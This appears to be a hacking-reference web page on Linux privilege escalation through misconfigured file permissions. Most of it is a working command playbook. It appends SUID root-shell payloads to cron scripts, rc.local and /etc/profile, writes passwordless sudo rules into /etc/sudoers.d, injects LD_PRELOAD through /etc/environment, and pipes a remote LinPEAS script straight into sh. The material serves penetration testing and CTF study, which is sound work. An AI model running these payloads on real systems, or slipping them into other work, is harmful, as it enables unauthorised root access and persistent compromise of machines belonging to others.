# Weak File Permissions for Linux Privilege Escalation

> Exploiting misconfigured file permissions on Linux to escalate privileges via world-writable files, SUID binaries, and sensitive credential exposure.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/weak-file-permissions
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-14

World-writable or group-writable files that are executed or read by root are a direct escalation path. This includes scripts in cron jobs, service configs, init scripts, environment files, and sudo helper scripts. No exploit required: write the file, wait for root to execute it.

Common targets for weak file permissions:

- Cron scripts and `/etc/rc.local`
- `/etc/passwd`, `/etc/shadow`, and `/etc/sudoers.d/`
- Environment files like `/etc/environment` and `/etc/profile`
- Python or Perl library directories imported by root processes
- World-writable directories inside PATH

## Prerequisites Check

Run a broad writable file search immediately: this catches misconfigurations that automated tools sometimes miss:

```bash
# World-writable files outside /tmp and /proc
find / -writable -type f 2>/dev/null | grep -v "^/tmp\|^/proc\|^/sys\|^/dev" | head -50

# World-writable directories (can replace files inside)
find / -writable -type d 2>/dev/null | grep -v "^/tmp\|^/proc\|^/sys\|^/dev\|^/run" | head -30
```

Also check files writable by your group:

```bash
find / -group $(id -gn) -type f 2>/dev/null | grep -v "^/proc\|^/sys\|^/dev" | head -30
```

## Weak File Permissions Escalation via Root Scripts

The highest impact target: any writable script that root runs via cron, systemd, or init:

```bash
# Find writable scripts in common execution paths
find /etc /opt /usr/local -name "*.sh" -writable 2>/dev/null
find /etc/cron* /var/spool/cron* -writable 2>/dev/null
find /etc/init.d /etc/rc.d /etc/rc.local -writable 2>/dev/null

# Check rc.local specifically: runs as root at boot
ls -la /etc/rc.local 2>/dev/null
cat /etc/rc.local 2>/dev/null
```

If writable, inject payload:

```bash
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /writable/script.sh
```

Wait for execution, then:

```bash
/tmp/.rootbash -p
```

## /etc/rc.local

`/etc/rc.local` runs at boot as root. If writable:

```bash
ls -la /etc/rc.local
# World-writable = direct root code execution at next boot

echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /etc/rc.local
```

In labs and CTF boxes this is frequently left world-writable. It fires on the next reboot: in exam contexts, the box may be rebooted as part of the scenario.

## /etc/environment and /etc/profile

These files are sourced at login and affect all users including root. If writable, inject a command or PATH manipulation:

```bash
ls -la /etc/environment /etc/profile /etc/profile.d/*.sh 2>/dev/null

# If /etc/environment is writable
echo 'LD_PRELOAD=/tmp/preload.so' >> /etc/environment

# If /etc/profile is writable: injects on every bash login
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /etc/profile
```

For the LD_PRELOAD injection technique see [https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking).

## /etc/sudoers and /etc/sudoers.d/

If writable, add a passwordless sudo rule for your user:

```bash
ls -la /etc/sudoers /etc/sudoers.d/ 2>/dev/null
find /etc/sudoers.d/ -writable 2>/dev/null

# If a file in /etc/sudoers.d/ is writable
echo "$USER ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/existing-file

# Or create a new file (name must contain no dots on some systems)
echo "$USER ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/privesc
```

Test immediately:

```bash
sudo /bin/bash
```

## Writable /etc/passwd or /etc/shadow

Covered in detail at [https://hackindex.io/platforms/linux/privilege-escalation/passwd-shadow-manipulation](https://hackindex.io/platforms/linux/privilege-escalation/passwd-shadow-manipulation).

Quick check:

```bash
test -w /etc/passwd && echo "WRITABLE: /etc/passwd"
test -w /etc/shadow && echo "WRITABLE: /etc/shadow"
```

## World-Writable Directories in Execution Paths

A world-writable directory in PATH is more valuable than a writable file: you can create any binary name there:

```bash
# Check directories in PATH
echo $PATH | tr ':' '\n' | while read dir; do
    [ -w "$dir" ] && echo "WRITABLE PATH DIR: $dir"
done

# Check system-wide PATH
grep "PATH=" /etc/environment /etc/profile 2>/dev/null | tr ':' '\n' | while read dir; do
    [ -w "$dir" ] && echo "WRITABLE SYSTEM PATH: $dir"
done
```

See [https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking) for the full PATH hijacking workflow.

## Writable Python/Perl/Ruby Libraries

If root runs interpreter scripts and the library directory is writable:

```bash
# Python
find /usr/lib/python3* /usr/local/lib/python3* -writable -type f 2>/dev/null | head -10

# Perl
find /usr/lib/perl5 /usr/share/perl5 -writable -type f 2>/dev/null | head -10
```

See [https://hackindex.io/platforms/linux/privilege-escalation/python-library-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/python-library-hijacking) for Python-specific exploitation.

## Automated Detection

LinPEAS detects most writable file issues automatically:

```bash
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

Look for the "Interesting writable files owned by me or writable by everyone" section in the output.

Also use find directly with tee to save results:

```bash
find / -writable -type f 2>/dev/null | grep -v "^/tmp\|^/proc\|^/sys\|^/dev\|^/run\|\.pyc\|home/$USER" | tee /tmp/writable_files.txt
```

Cross-reference against files executed by root processes using pspy. See [https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools](https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools).

## References

- [find(1) Manual](https://man7.org/linux/man-pages/man1/find.1.html) - Permission-based file searching with -writable, -perm, and -group flags.
- [sudoers(5) Manual](https://man7.org/linux/man-pages/man5/sudoers.5.html) - sudoers.d directory inclusion and rule syntax.